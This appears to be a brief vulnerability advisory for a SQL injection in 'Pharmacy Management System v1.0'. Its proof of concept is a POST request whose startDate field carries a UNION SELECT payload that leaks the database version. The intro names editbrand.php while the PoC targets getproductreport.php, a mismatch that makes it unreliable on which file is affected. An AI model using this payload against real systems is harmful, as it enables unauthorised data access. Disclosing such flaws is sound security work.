Introduction

There is a SQL Injection in editbrand.php in Pharmacy Management System v1.0.
I put all the php files to the web root path, so I use /getproductreport.php, or it can also be placed at /dawapharma/dawapharma/getproductreport.php etc.

POC

the “10.3.34-MariaDB-0+deb10ul” is the database version I use, so it is a SQL injection that can echo the content.
POC:

  1. POST /getproductreport.php HTTP/1.1
  2. ...
  4. startDate=1' union select 1,2,3,4,5,6,7,8,9,0,version(),12,13;--+

Vulnerability Analysis

in the php file, the logic as follows:

the wabpage use the startDate parameter as part of sql statement directly.
